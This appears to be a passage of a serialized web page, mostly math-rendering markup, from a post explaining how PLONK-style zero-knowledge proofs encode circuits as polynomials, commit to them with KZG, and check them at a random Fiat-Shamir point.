polynomials",{"type":29,"value":949},{"type":23,"tag":71,"props":153129,"children":153131},{"className":153130},[15256,15257],[153132],{"type":23,"tag":75,"props":153133,"children":153135},{"className":153134},[15262],[153136],{"type":23,"tag":75,"props":153137,"children":153139},{"className":153138,"ariaHidden":15268},[15267],[153140],{"type":23,"tag":75,"props":153141,"children":153143},{"className":153142},[15273],[153144,153148,153205,153210,153215],{"type":23,"tag":75,"props":153145,"children":153147},{"className":153146,"style":15384},[15278],[],{"type":23,"tag":75,"props":153149,"children":153151},{"className":153150},[15284],[153152,153157],{"type":23,"tag":75,"props":153153,"children":153155},{"className":153154,"style":105736},[15284,32803],[153156],{"type":29,"value":44278},{"type":23,"tag":75,"props":153158,"children":153160},{"className":153159},[15299],[153161],{"type":23,"tag":75,"props":153162,"children":153164},{"className":153163},[15304,32857],[153165,153194],{"type":23,"tag":75,"props":153166,"children":153168},{"className":153167},[15309],[153169,153189],{"type":23,"tag":75,"props":153170,"children":153172},{"className":153171,"style":152937},[15314],[153173],{"type":23,"tag":75,"props":153174,"children":153175},{"style":105757},[153176,153180],{"type":23,"tag":75,"props":153177,"children":153179},{"className":153178,"style":15324},[15323],[],{"type":23,"tag":75,"props":153181,"children":153183},{"className":153182},[15329,15330,15331,15332],[153184],{"type":23,"tag":75,"props":153185,"children":153187},{"className":153186},[15284,32803,15332],[153188],{"type":29,"value":128346},{"type":23,"tag":75,"props":153190,"children":153192},{"className":153191},[32960],[153193],{"type":29,"value":32963},{"type":23,"tag":75,"props":153195,"children":153197},{"className":153196},[15309],[153198],{"type":23,"tag":75,"props":153199,"children":153201},{"className":153200,"style":103465},[15314],[153202],{"type":23,"tag":75,"props":153203,"children":153204},{},[],{"type":23,"tag":75,"props":153206,"children":153208},{"className":153207},[32932],[153209],{"type":29,"value":643},{"type":23,"tag":75,"props":153211,"children":153213},{"className":153212},[15284,32803],[153214],{"type":29,"value":30499},{"type":23,"tag":75,"props":153216,"children":153218},{"className":153217},[32954],[153219],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":153222,"children":153224},{"className":153223},[15256,15257],[153225],{"type":23,"tag":75,"props":153226,"children":153228},{"className":153227},[15262],[153229],{"type":23,"tag":75,"props":153230,"children":153232},{"className":153231,"ariaHidden":15268},[15267],[153233],{"type":23,"tag":75,"props":153234,"children":153236},{"className":153235},[15273],[153237,153241,153298,153303,153308],{"type":23,"tag":75,"props":153238,"children":153240},{"className":153239,"style":15384},[15278],[],{"type":23,"tag":75,"props":153242,"children":153244},{"className":153243},[15284],[153245,153250],{"type":23,"tag":75,"props":153246,"children":153248},{"className":153247,"style":105736},[15284,32803],[153249],{"type":29,"value":44278},{"type":23,"tag":75,"props":153251,"children":153253},{"className":153252},[15299],[153254],{"type":23,"tag":75,"props":153255,"children":153257},{"className":153256},[15304,32857],[153258,153287],{"type":23,"tag":75,"props":153259,"children":153261},{"className":153260},[15309],[153262,153282],{"type":23,"tag":75,"props":153263,"children":153265},{"className":153264,"style":152937},[15314],[153266],{"type":23,"tag":75,"props":153267,"children":153268},{"style":105757},[153269,153273],{"type":23,"tag":75,"props":153270,"children":153272},{"className":153271,"style":15324},[15323],[],{"type":23,"tag":75,"props":153274,"children":153276},{"className":153275},[15329,15330,15331,15332],[153277],{"type":23,"tag":75,"props":153278,"children":153280},{"className":153279,"style":133159},[15284,32803,15332],[153281],{"type":29,"value":133162},{"type":23,"tag":75,"props":153283,"children":153285},{"className":153284},[32960],[153286],{"type":29,"value":32963},{"type":23,"tag":75,"props":153288,"children":153290},{"className":153289},[15309],[153291],{"type":23,"tag":75,"props":153292,"children":153294},{"className":153293,"style":103465},[15314],[153295],{"type":23,"tag":75,"props":153296,"children":153297},{},[],{"type":23,"tag":75,"props":153299,"children":153301},{"className":153300},[32932],[153302],{"type":29,"value":643},{"type":23,"tag":75,"props":153304,"children":153306},{"className":153305},[15284,32803],[153307],{"type":29,"value":30499},{"type":23,"tag":75,"props":153309,"children":153311},{"className":153310},[32954],[153312],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":153315,"children":153317},{"className":153316},[15256,15257],[153318],{"type":23,"tag":75,"props":153319,"children":153321},{"className":153320},[15262],[153322],{"type":23,"tag":75,"props":153323,"children":153325},{"className":153324,"ariaHidden":15268},[15267],[153326],{"type":23,"tag":75,"props":153327,"children":153329},{"className":153328},[15273],[153330,153334,153391,153396,153401],{"type":23,"tag":75,"props":153331,"children":153333},{"className":153332,"style":15384},[15278],[],{"type":23,"tag":75,"props":153335,"children":153337},{"className":153336},[15284],[153338,153343],{"type":23,"tag":75,"props":153339,"children":153341},{"className":153340,"style":105736},[15284,32803],[153342],{"type":29,"value":44278},{"type":23,"tag":75,"props":153344,"children":153346},{"className":153345},[15299],[153347],{"type":23,"tag":75,"props":153348,"children":153350},{"className":153349},[15304,32857],[153351,153380],{"type":23,"tag":75,"props":153352,"children":153354},{"className":153353},[15309],[153355,153375],{"type":23,"tag":75,"props":153356,"children":153358},{"className":153357,"style":152937},[15314],[153359],{"type":23,"tag":75,"props":153360,"children":153361},{"style":105757},[153362,153366],{"type":23,"tag":75,"props":153363,"children":153365},{"className":153364,"style":15324},[15323],[],{"type":23,"tag":75,"props":153367,"children":153369},{"className":153368},[15329,15330,15331,15332],[153370],{"type":23,"tag":75,"props":153371,"children":153373},{"className":153372,"style":103382},[15284,32803,15332],[153374],{"type":29,"value":125701},{"type":23,"tag":75,"props":153376,"children":153378},{"className":153377},[32960],[153379],{"type":29,"value":32963},{"type":23,"tag":75,"props":153381,"children":153383},{"className":153382},[15309],[153384],{"type":23,"tag":75,"props":153385,"children":153387},{"className":153386,"style":103465},[15314],[153388],{"type":23,"tag":75,"props":153389,"children":153390},{},[],{"type":23,"tag":75,"props":153392,"children":153394},{"className":153393},[32932],[153395],{"type":29,"value":643},{"type":23,"tag":75,"props":153397,"children":153399},{"className":153398},[15284,32803],[153400],{"type":29,"value":30499},{"type":23,"tag":75,"props":153402,"children":153404},{"className":153403},[32954],[153405],{"type":29,"value":1347},{"type":29,"value":153407}," and the selectors become ",{"type":23,"tag":9690,"props":153409,"children":153410},{},[153411],{"type":29,"value":153412},"selector polynomials",{"type":29,"value":949},{"type":23,"tag":71,"props":153415,"children":153417},{"className":153416},[15256,15257],[153418],{"type":23,"tag":75,"props":153419,"children":153421},{"className":153420},[15262],[153422],{"type":23,"tag":75,"props":153423,"children":153425},{"className":153424,"ariaHidden":15268},[15267],[153426],{"type":23,"tag":75,"props":153427,"children":153429},{"className":153428},[15273],[153430,153434,153491,153496,153501],{"type":23,"tag":75,"props":153431,"children":153433},{"className":153432,"style":15384},[15278],[],{"type":23,"tag":75,"props":153435,"children":153437},{"className":153436},[15284],[153438,153443],{"type":23,"tag":75,"props":153439,"children":153441},{"className":153440},[15284,32803],[153442],{"type":29,"value":1050},{"type":23,"tag":75,"props":153444,"children":153446},{"className":153445},[15299],[153447],{"type":23,"tag":75,"props":153448,"children":153450},{"className":153449},[15304,32857],[153451,153480],{"type":23,"tag":75,"props":153452,"children":153454},{"className":153453},[15309],[153455,153475],{"type":23,"tag":75,"props":153456,"children":153458},{"className":153457,"style":152937},[15314],[153459],{"type":23,"tag":75,"props":153460,"children":153461},{"style":103438},[153462,153466],{"type":23,"tag":75,"props":153463,"children":153465},{"className":153464,"style":15324},[15323],[],{"type":23,"tag":75,"props":153467,"children":153469},{"className":153468},[15329,15330,15331,15332],[153470],{"type":23,"tag":75,"props":153471,"children":153473},{"className":153472,"style":105390},[15284,32803,15332],[153474],{"type":29,"value":105393},{"type":23,"tag":75,"props":153476,"children":153478},{"className":153477},[32960],[153479],{"type":29,"value":32963},{"type":23,"tag":75,"props":153481,"children":153483},{"className":153482},[15309],[153484],{"type":23,"tag":75,"props":153485,"children":153487},{"className":153486,"style":103465},[15314],[153488],{"type":23,"tag":75,"props":153489,"children":153490},{},[],{"type":23,"tag":75,"props":153492,"children":153494},{"className":153493},[32932],[153495],{"type":29,"value":643},{"type":23,"tag":75,"props":153497,"children":153499},{"className":153498},[15284,32803],[153500],{"type":29,"value":30499},{"type":23,"tag":75,"props":153502,"children":153504},{"className":153503},[32954],[153505],{"type":29,"value":1347},{"type":29,"value":611},{"type":23,"tag":71,"props":153508,"children":153510},{"className":153509},[15256,15257],[153511],{"type":23,"tag":75,"props":153512,"children":153514},{"className":153513},[15262],[153515],{"type":23,"tag":75,"props":153516,"children":153518},{"className":153517,"ariaHidden":15268},[15267],[153519],{"type":23,"tag":75,"props":153520,"children":153522},{"className":153521},[15273],[153523,153527,153584,153589,153594],{"type":23,"tag":75,"props":153524,"children":153526},{"className":153525,"style":15384},[15278],[],{"type":23,"tag":75,"props":153528,"children":153530},{"className":153529},[15284],[153531,153536],{"type":23,"tag":75,"props":153532,"children":153534},{"className":153533},[15284,32803],[153535],{"type":29,"value":1050},{"type":23,"tag":75,"props":153537,"children":153539},{"className":153538},[15299],[153540],{"type":23,"tag":75,"props":153541,"children":153543},{"className":153542},[15304,32857],[153544,153573],{"type":23,"tag":75,"props":153545,"children":153547},{"className":153546},[15309],[153548,153568],{"type":23,"tag":75,"props":153549,"children":153551},{"className":153550,"style":152937},[15314],[153552],{"type":23,"tag":75,"props":153553,"children":153554},{"style":103438},[153555,153559],{"type":23,"tag":75,"props":153556,"children":153558},{"className":153557,"style":15324},[15323],[],{"type":23,"tag":75,"props":153560,"children":153562},{"className":153561},[15329,15330,15331,15332],[153563],{"type":23,"tag":75,"props":153564,"children":153566},{"className":153565},[15284,32803,15332],[153567],{"type":29,"value":128346},{"type":23,"tag":75,"props":153569,"children":153571},{"className":153570},[32960],[153572],{"type":29,"value":32963},{"type":23,"tag":75,"props":153574,"children":153576},{"className":153575},[15309],[153577],{"type":23,"tag":75,"props":153578,"children":153580},{"className":153579,"style":103465},[15314],[153581],{"type":23,"tag":75,"props":153582,"children":153583},{},[],{"type":23,"tag":75,"props":153585,"children":153587},{"className":153586},[32932],[153588],{"type":29,"value":643},{"type":23,"tag":75,"props":153590,"children":153592},{"className":153591},[15284,32803],[153593],{"type":29,"value":30499},{"type":23,"tag":75,"props":153595,"children":153597},{"className":153596},[32954],[153598],{"type":29,"value":1347},{"type":29,"value":153600},", etc., all interpolated over a domain ",{"type":23,"tag":71,"props":153602,"children":153604},{"className":153603},[15256,15257],[153605],{"type":23,"tag":75,"props":153606,"children":153608},{"className":153607},[15262],[153609],{"type":23,"tag":75,"props":153610,"children":153612},{"className":153611,"ariaHidden":15268},[15267],[153613],{"type":23,"tag":75,"props":153614,"children":153616},{"className":153615},[15273],[153617,153621],{"type":23,"tag":75,"props":153618,"children":153620},{"className":153619,"style":32798},[15278],[],{"type":23,"tag":75,"props":153622,"children":153624},{"className":153623,"style":103616},[15284,32803],[153625],{"type":29,"value":103619},{"type":29,"value":153627}," of ",{"type":23,"tag":71,"props":153629,"children":153631},{"className":153630},[15256,15257],[153632],{"type":23,"tag":75,"props":153633,"children":153635},{"className":153634},[15262],[153636],{"type":23,"tag":75,"props":153637,"children":153639},{"className":153638,"ariaHidden":15268},[15267],[153640],{"type":23,"tag":75,"props":153641,"children":153643},{"className":153642},[15273],[153644,153648],{"type":23,"tag":75,"props":153645,"children":153647},{"className":153646,"style":121223},[15278],[],{"type":23,"tag":75,"props":153649,"children":153651},{"className":153650},[15284,32803],[153652],{"type":29,"value":67587},{"type":29,"value":153654},"-th roots of unity. Evaluating ",{"type":23,"tag":71,"props":153656,"children":153658},{"className":153657},[15256,15257],[153659],{"type":23,"tag":75,"props":153660,"children":153662},{"className":153661},[15262],[153663],{"type":23,"tag":75,"props":153664,"children":153666},{"className":153665,"ariaHidden":15268},[15267],[153667],{"type":23,"tag":75,"props":153668,"children":153670},{"className":153669},[15273],[153671,153675,153732,153737,153742],{"type":23,"tag":75,"props":153672,"children":153674},{"className":153673,"style":15384},[15278],[],{"type":23,"tag":75,"props":153676,"children":153678},{"className":153677},[15284],[153679,153684],{"type":23,"tag":75,"props":153680,"children":153682},{"className":153681,"style":105736},[15284,32803],[153683],{"type":29,"value":44278},{"type":23,"tag":75,"props":153685,"children":153687},{"className":153686},[15299],[153688],{"type":23,"tag":75,"props":153689,"children":153691},{"className":153690},[15304,32857],[153692,153721],{"type":23,"tag":75,"props":153693,"children":153695},{"className":153694},[15309],[153696,153716],{"type":23,"tag":75,"props":153697,"children":153699},{"className":153698,"style":152937},[15314],[153700],{"type":23,"tag":75,"props":153701,"children":153702},{"style":105757},[153703,153707],{"type":23,"tag":75,"props":153704,"children":153706},{"className":153705,"style":15324},[15323],[],{"type":23,"tag":75,"props":153708,"children":153710},{"className":153709},[15329,15330,15331,15332],[153711],{"type":23,"tag":75,"props":153712,"children":153714},{"className":153713},[15284,32803,15332],[153715],{"type":29,"value":128346},{"type":23,"tag":75,"props":153717,"children":153719},{"className":153718},[32960],[153720],{"type":29,"value":32963},{"type":23,"tag":75,"props":153722,"children":153724},{"className":153723},[15309],[153725],{"type":23,"tag":75,"props":153726,"children":153728},{"className":153727,"style":103465},[15314],[153729],{"type":23,"tag":75,"props":153730,"children":153731},{},[],{"type":23,"tag":75,"props":153733,"children":153735},{"className":153734},[32932],[153736],{"type":29,"value":643},{"type":23,"tag":75,"props":153738,"children":153740},{"className":153739},[15284,32803],[153741],{"type":29,"value":30499},{"type":23,"tag":75,"props":153743,"children":153745},{"className":153744},[32954],[153746],{"type":29,"value":1347},{"type":29,"value":153748}," at the ",{"type":23,"tag":71,"props":153750,"children":153752},{"className":153751},[15256,15257],[153753],{"type":23,"tag":75,"props":153754,"children":153756},{"className":153755},[15262],[153757],{"type":23,"tag":75,"props":153758,"children":153760},{"className":153759,"ariaHidden":15268},[15267],[153761],{"type":23,"tag":75,"props":153762,"children":153764},{"className":153763},[15273],[153765,153769],{"type":23,"tag":75,"props":153766,"children":153768},{"className":153767,"style":152633},[15278],[],{"type":23,"tag":75,"props":153770,"children":153772},{"className":153771},[15284,32803],[153773],{"type":29,"value":12935},{"type":29,"value":153775},"-th root recovers the left wire value at row ",{"type":23,"tag":71,"props":153777,"children":153779},{"className":153778},[15256,15257],[153780],{"type":23,"tag":75,"props":153781,"children":153783},{"className":153782},[15262],[153784],{"type":23,"tag":75,"props":153785,"children":153787},{"className":153786,"ariaHidden":15268},[15267],[153788],{"type":23,"tag":75,"props":153789,"children":153791},{"className":153790},[15273],[153792,153796],{"type":23,"tag":75,"props":153793,"children":153795},{"className":153794,"style":152633},[15278],[],{"type":23,"tag":75,"props":153797,"children":153799},{"className":153798},[15284,32803],[153800],{"type":29,"value":12935},{"type":29,"value":557},{"type":23,"tag":153803,"props":153804,"children":153805},"polynomial-interpolation-panel",{},[],{"type":23,"tag":32,"props":153807,"children":153808},{},[153809,153811,153851,153853,153919,153921,154051,154053,154093,154095,154135,154137,154177,154178,154300],{"type":29,"value":153810},"Because all columns are now polynomials, the entire circuit compresses into a single master constraint polynomial ",{"type":23,"tag":71,"props":153812,"children":153814},{"className":153813},[15256,15257],[153815],{"type":23,"tag":75,"props":153816,"children":153818},{"className":153817},[15262],[153819],{"type":23,"tag":75,"props":153820,"children":153822},{"className":153821,"ariaHidden":15268},[15267],[153823],{"type":23,"tag":75,"props":153824,"children":153826},{"className":153825},[15273],[153827,153831,153836,153841,153846],{"type":23,"tag":75,"props":153828,"children":153830},{"className":153829,"style":15384},[15278],[],{"type":23,"tag":75,"props":153832,"children":153834},{"className":153833,"style":32804},[15284,32803],[153835],{"type":29,"value":132160},{"type":23,"tag":75,"props":153837,"children":153839},{"className":153838},[32932],[153840],{"type":29,"value":643},{"type":23,"tag":75,"props":153842,"children":153844},{"className":153843},[15284,32803],[153845],{"type":29,"value":30499},{"type":23,"tag":75,"props":153847,"children":153849},{"className":153848},[32954],[153850],{"type":29,"value":1347},{"type":29,"value":153852}," that combines selectors and witnesses. If the prover was honest, ",{"type":23,"tag":71,"props":153854,"children":153856},{"className":153855},[15256,15257],[153857],{"type":23,"tag":75,"props":153858,"children":153860},{"className":153859},[15262],[153861],{"type":23,"tag":75,"props":153862,"children":153864},{"className":153863,"ariaHidden":15268},[15267],[153865,153906],{"type":23,"tag":75,"props":153866,"children":153868},{"className":153867},[15273],[153869,153873,153878,153883,153888,153893,153897,153902],{"type":23,"tag":75,"props":153870,"children":153872},{"className":153871,"style":15384},[15278],[],{"type":23,"tag":75,"props":153874,"children":153876},{"className":153875,"style":32804},[15284,32803],[153877],{"type":29,"value":132160},{"type":23,"tag":75,"props":153879,"children":153881},{"className":153880},[32932],[153882],{"type":29,"value":643},{"type":23,"tag":75,"props":153884,"children":153886},{"className":153885},[15284,32803],[153887],{"type":29,"value":30499},{"type":23,"tag":75,"props":153889,"children":153891},{"className":153890},[32954],[153892],{"type":29,"value":1347},{"type":23,"tag":75,"props":153894,"children":153896},{"className":153895,"style":15461},[15363],[],{"type":23,"tag":75,"props":153898,"children":153900},{"className":153899},[15466],[153901],{"type":29,"value":212},{"type":23,"tag":75,"props":153903,"children":153905},{"className":153904,"style":15461},[15363],[],{"type":23,"tag":75,"props":153907,"children":153909},{"className":153908},[15273],[153910,153914],{"type":23,"tag":75,"props":153911,"children":153913},{"className":153912,"style":104413},[15278],[],{"type":23,"tag":75,"props":153915,"children":153917},{"className":153916},[15284],[153918],{"type":29,"value":648},{"type":29,"value":153920}," at every row index in the domain. The vanishing polynomial ",{"type":23,"tag":71,"props":153922,"children":153924},{"className":153923},[15256,15257],[153925],{"type":23,"tag":75,"props":153926,"children":153928},{"className":153927},[15262],[153929],{"type":23,"tag":75,"props":153930,"children":153932},{"className":153931,"ariaHidden":15268},[15267],[153933,153975,154038],{"type":23,"tag":75,"props":153934,"children":153936},{"className":153935},[15273],[153937,153941,153947,153952,153957,153962,153966,153971],{"type":23,"tag":75,"props":153938,"children":153940},{"className":153939,"style":15384},[15278],[],{"type":23,"tag":75,"props":153942,"children":153944},{"className":153943,"style":33334},[15284,32803],[153945],{"type":29,"value":153946},"Z",{"type":23,"tag":75,"props":153948,"children":153950},{"className":153949},[32932],[153951],{"type":29,"value":643},{"type":23,"tag":75,"props":153953,"children":153955},{"className":153954},[15284,32803],[153956],{"type":29,"value":30499},{"type":23,"tag":75,"props":153958,"children":153960},{"className":153959},[32954],[153961],{"type":29,"value":1347},{"type":23,"tag":75,"props":153963,"children":153965},{"className":153964,"style":15461},[15363],[],{"type":23,"tag":75,"props":153967,"children":153969},{"className":153968},[15466],[153970],{"type":29,"value":212},{"type":23,"tag":75,"props":153972,"children":153974},{"className":153973,"style":15461},[15363],[],{"type":23,"tag":75,"props":153976,"children":153978},{"className":153977},[15273],[153979,153984,154025,154029,154034],{"type":23,"tag":75,"props":153980,"children":153983},{"className":153981,"style":153982},[15278],"height:0.7477em;vertical-align:-0.0833em;",[],{"type":23,"tag":75,"props":153985,"children":153987},{"className":153986},[15284],[153988,153993],{"type":23,"tag":75,"props":153989,"children":153991},{"className":153990},[15284,32803],[153992],{"type":29,"value":30499},{"type":23,"tag":75,"props":153994,"children":153996},{"className":153995},[15299],[153997],{"type":23,"tag":75,"props":153998,"children":154000},{"className":153999},[15304],[154001],{"type":23,"tag":75,"props":154002,"children":154004},{"className":154003},[15309],[154005],{"type":23,"tag":75,"props":154006,"children":154008},{"className":154007,"style":119099},[15314],[154009],{"type":23,"tag":75,"props":154010,"children":154011},{"style":15318},[154012,154016],{"type":23,"tag":75,"props":154013,"children":154015},{"className":154014,"style":15324},[15323],[],{"type":23,"tag":75,"props":154017,"children":154019},{"className":154018},[15329,15330,15331,15332],[154020],{"type":23,"tag":75,"props":154021,"children":154023},{"className":154022},[15284,32803,15332],[154024],{"type":29,"value":67587},{"type":23,"tag":75,"props":154026,"children":154028},{"className":154027,"style":15364},[15363],[],{"type":23,"tag":75,"props":154030,"children":154032},{"className":154031},[15369],[154033],{"type":29,"value":15343},{"type":23,"tag":75,"props":154035,"children":154037},{"className":154036,"style":15364},[15363],[],{"type":23,"tag":75,"props":154039,"children":154041},{"className":154040},[15273],[154042,154046],{"type":23,"tag":75,"props":154043,"children":154045},{"className":154044,"style":104413},[15278],[],{"type":23,"tag":75,"props":154047,"children":154049},{"className":154048},[15284],[154050],{"type":29,"value":7867},{"type":29,"value":154052}," is zero on exactly those points, so if all constraints hold then ",{"type":23,"tag":71,"props":154054,"children":154056},{"className":154055},[15256,15257],[154057],{"type":23,"tag":75,"props":154058,"children":154060},{"className":154059},[15262],[154061],{"type":23,"tag":75,"props":154062,"children":154064},{"className":154063,"ariaHidden":15268},[15267],[154065],{"type":23,"tag":75,"props":154066,"children":154068},{"className":154067},[15273],[154069,154073,154078,154083,154088],{"type":23,"tag":75,"props":154070,"children":154072},{"className":154071,"style":15384},[15278],[],{"type":23,"tag":75,"props":154074,"children":154076},{"className":154075,"style":33334},[15284,32803],[154077],{"type":29,"value":153946},{"type":23,"tag":75,"props":154079,"children":154081},{"className":154080},[32932],[154082],{"type":29,"value":643},{"type":23,"tag":75,"props":154084,"children":154086},{"className":154085},[15284,32803],[154087],{"type":29,"value":30499},{"type":23,"tag":75,"props":154089,"children":154091},{"className":154090},[32954],[154092],{"type":29,"value":1347},{"type":29,"value":154094}," divides ",{"type":23,"tag":71,"props":154096,"children":154098},{"className":154097},[15256,15257],[154099],{"type":23,"tag":75,"props":154100,"children":154102},{"className":154101},[15262],[154103],{"type":23,"tag":75,"props":154104,"children":154106},{"className":154105,"ariaHidden":15268},[15267],[154107],{"type":23,"tag":75,"props":154108,"children":154110},{"className":154109},[15273],[154111,154115,154120,154125,154130],{"type":23,"tag":75,"props":154112,"children":154114},{"className":154113,"style":15384},[15278],[],{"type":23,"tag":75,"props":154116,"children":154118},{"className":154117,"style":32804},[15284,32803],[154119],{"type":29,"value":132160},{"type":23,"tag":75,"props":154121,"children":154123},{"className":154122},[32932],[154124],{"type":29,"value":643},{"type":23,"tag":75,"props":154126,"children":154128},{"className":154127},[15284,32803],[154129],{"type":29,"value":30499},{"type":23,"tag":75,"props":154131,"children":154133},{"className":154132},[32954],[154134],{"type":29,"value":1347},{"type":29,"value":154136},", yielding a quotient polynomial ",{"type":23,"tag":71,"props":154138,"children":154140},{"className":154139},[15256,15257],[154141],{"type":23,"tag":75,"props":154142,"children":154144},{"className":154143},[15262],[154145],{"type":23,"tag":75,"props":154146,"children":154148},{"className":154147,"ariaHidden":15268},[15267],[154149],{"type":23,"tag":75,"props":154150,"children":154152},{"className":154151},[15273],[154153,154157,154162,154167,154172],{"type":23,"tag":75,"props":154154,"children":154156},{"className":154155,"style":15384},[15278],[],{"type":23,"tag":75,"props":154158,"children":154160},{"className":154159,"style":32804},[15284,32803],[154161],{"type":29,"value":17255},{"type":23,"tag":75,"props":154163,"children":154165},{"className":154164},[32932],[154166],{"type":29,"value":643},{"type":23,"tag":75,"props":154168,"children":154170},{"className":154169},[15284,32803],[154171],{"type":29,"value":30499},{"type":23,"tag":75,"props":154173,"children":154175},{"className":154174},[32954],[154176],{"type":29,"value":1347},{"type":29,"value":32719},{"type":23,"tag":71,"props":154179,"children":154181},{"className":154180},[15256,15257],[154182],{"type":23,"tag":75,"props":154183,"children":154185},{"className":154184},[15262],[154186],{"type":23,"tag":75,"props":154187,"children":154189},{"className":154188,"ariaHidden":15268},[15267],[154190,154231,154272],{"type":23,"tag":75,"props":154191,"children":154193},{"className":154192},[15273],[154194,154198,154203,154208,154213,154218,154222,154227],{"type":23,"tag":75,"props":154195,"children":154197},{"className":154196,"style":15384},[15278],[],{"type":23,"tag":75,"props":154199,"children":154201},{"className":154200,"style":32804},[15284,32803],[154202],{"type":29,"value":132160},{"type":23,"tag":75,"props":154204,"children":154206},{"className":154205},[32932],[154207],{"type":29,"value":643},{"type":23,"tag":75,"props":154209,"children":154211},{"className":154210},[15284,32803],[154212],{"type":29,"value":30499},{"type":23,"tag":75,"props":154214,"children":154216},{"className":154215},[32954],[154217],{"type":29,"value":1347},{"type":23,"tag":75,"props":154219,"children":154221},{"className":154220,"style":15461},[15363],[],{"type":23,"tag":75,"props":154223,"children":154225},{"className":154224},[15466],[154226],{"type":29,"value":212},{"type":23,"tag":75,"props":154228,"children":154230},{"className":154229,"style":15461},[15363],[],{"type":23,"tag":75,"props":154232,"children":154234},{"className":154233},[15273],[154235,154239,154244,154249,154254,154259,154263,154268],{"type":23,"tag":75,"props":154236,"children":154238},{"className":154237,"style":15384},[15278],[],{"type":23,"tag":75,"props":154240,"children":154242},{"className":154241,"style":32804},[15284,32803],[154243],{"type":29,"value":17255},{"type":23,"tag":75,"props":154245,"children":154247},{"className":154246},[32932],[154248],{"type":29,"value":643},{"type":23,"tag":75,"props":154250,"children":154252},{"className":154251},[15284,32803],[154253],{"type":29,"value":30499},{"type":23,"tag":75,"props":154255,"children":154257},{"className":154256},[32954],[154258],{"type":29,"value":1347},{"type":23,"tag":75,"props":154260,"children":154262},{"className":154261,"style":15364},[15363],[],{"type":23,"tag":75,"props":154264,"children":154266},{"className":154265},[15369],[154267],{"type":29,"value":121644},{"type":23,"tag":75,"props":154269,"children":154271},{"className":154270,"style":15364},[15363],[],{"type":23,"tag":75,"props":154273,"children":154275},{"className":154274},[15273],[154276,154280,154285,154290,154295],{"type":23,"tag":75,"props":154277,"children":154279},{"className":154278,"style":15384},[15278],[],{"type":23,"tag":75,"props":154281,"children":154283},{"className":154282,"style":33334},[15284,32803],[154284],{"type":29,"value":153946},{"type":23,"tag":75,"props":154286,"children":154288},{"className":154287},[32932],[154289],{"type":29,"value":643},{"type":23,"tag":75,"props":154291,"children":154293},{"className":154292},[15284,32803],[154294],{"type":29,"value":30499},{"type":23,"tag":75,"props":154296,"children":154298},{"className":154297},[32954],[154299],{"type":29,"value":1347},{"type":29,"value":557},{"type":23,"tag":32,"props":154302,"children":154303},{},[154304],{"type":23,"tag":15189,"props":154305,"children":154308},{"alt":154306,"src":154307},"master_equation","/posts/dusk-commitment-issues/master_equation.svg",[],{"type":23,"tag":923,"props":154310,"children":154312},{"id":154311},"polynomial-commitments-and-opening-proofs",[154313],{"type":29,"value":154314},"Polynomial commitments and opening proofs",{"type":23,"tag":32,"props":154316,"children":154317},{},[154318,154320,154325,154327,154332],{"type":29,"value":154319},"To keep the proof short, the prover doesn't send polynomials directly. Instead, it sends ",{"type":23,"tag":9690,"props":154321,"children":154322},{},[154323],{"type":29,"value":154324},"commitments",{"type":29,"value":154326},", short cryptographic fingerprints of each polynomial (using e.g. KZG commitments). When the verifier needs the value of a committed polynomial at a specific point, the prover provides the value along with an ",{"type":23,"tag":9690,"props":154328,"children":154329},{},[154330],{"type":29,"value":154331},"opening proof",{"type":29,"value":154333}," that the claimed value is consistent with the earlier commitment.",{"type":23,"tag":32,"props":154335,"children":154336},{},[154337],{"type":29,"value":154338},"A committed polynomial evaluation is therefore cryptographically bound, and the prover cannot lie about the value without being caught.",{"type":23,"tag":923,"props":154340,"children":154342},{"id":154341},"reducing-to-a-single-random-point",[154343],{"type":29,"value":154344},"Reducing to a single random point",{"type":23,"tag":32,"props":154346,"children":154347},{},[154348,154350,154390,154392,154417,154419,154541,154543,154568],{"type":29,"value":154349},"After the prover commits to all polynomials, including ",{"type":23,"tag":71,"props":154351,"children":154353},{"className":154352},[15256,15257],[154354],{"type":23,"tag":75,"props":154355,"children":154357},{"className":154356},[15262],[154358],{"type":23,"tag":75,"props":154359,"children":154361},{"className":154360,"ariaHidden":15268},[15267],[154362],{"type":23,"tag":75,"props":154363,"children":154365},{"className":154364},[15273],[154366,154370,154375,154380,154385],{"type":23,"tag":75,"props":154367,"children":154369},{"className":154368,"style":15384},[15278],[],{"type":23,"tag":75,"props":154371,"children":154373},{"className":154372,"style":32804},[15284,32803],[154374],{"type":29,"value":17255},{"type":23,"tag":75,"props":154376,"children":154378},{"className":154377},[32932],[154379],{"type":29,"value":643},{"type":23,"tag":75,"props":154381,"children":154383},{"className":154382},[15284,32803],[154384],{"type":29,"value":30499},{"type":23,"tag":75,"props":154386,"children":154388},{"className":154387},[32954],[154389],{"type":29,"value":1347},{"type":29,"value":154391},", the verifier picks a random challenge point ",{"type":23,"tag":71,"props":154393,"children":154395},{"className":154394},[15256,15257],[154396],{"type":23,"tag":75,"props":154397,"children":154399},{"className":154398},[15262],[154400],{"type":23,"tag":75,"props":154401,"children":154403},{"className":154402,"ariaHidden":15268},[15267],[154404],{"type":23,"tag":75,"props":154405,"children":154407},{"className":154406},[15273],[154408,154412],{"type":23,"tag":75,"props":154409,"children":154411},{"className":154410,"style":121223},[15278],[],{"type":23,"tag":75,"props":154413,"children":154415},{"className":154414,"style":123939},[15284,32803],[154416],{"type":29,"value":123942},{"type":29,"value":154418}," (derived via the Fiat-Shamir heuristic from the transcript) and checks ",{"type":23,"tag":71,"props":154420,"children":154422},{"className":154421},[15256,15257],[154423],{"type":23,"tag":75,"props":154424,"children":154426},{"className":154425},[15262],[154427],{"type":23,"tag":75,"props":154428,"children":154430},{"className":154429,"ariaHidden":15268},[15267],[154431,154472,154513],{"type":23,"tag":75,"props":154432,"children":154434},{"className":154433},[15273],[154435,154439,154444,154449,154454,154459,154463,154468],{"type":23,"tag":75,"props":154436,"children":154438},{"className":154437,"style":15384},[15278],[],{"type":23,"tag":75,"props":154440,"children":154442},{"className":154441,"style":32804},[15284,32803],[154443],{"type":29,"value":132160},{"type":23,"tag":75,"props":154445,"children":154447},{"className":154446},[32932],[154448],{"type":29,"value":643},{"type":23,"tag":75,"props":154450,"children":154452},{"className":154451,"style":123939},[15284,32803],[154453],{"type":29,"value":123942},{"type":23,"tag":75,"props":154455,"children":154457},{"className":154456},[32954],[154458],{"type":29,"value":1347},{"type":23,"tag":75,"props":154460,"children":154462},{"className":154461,"style":15461},[15363],[],{"type":23,"tag":75,"props":154464,"children":154466},{"className":154465},[1546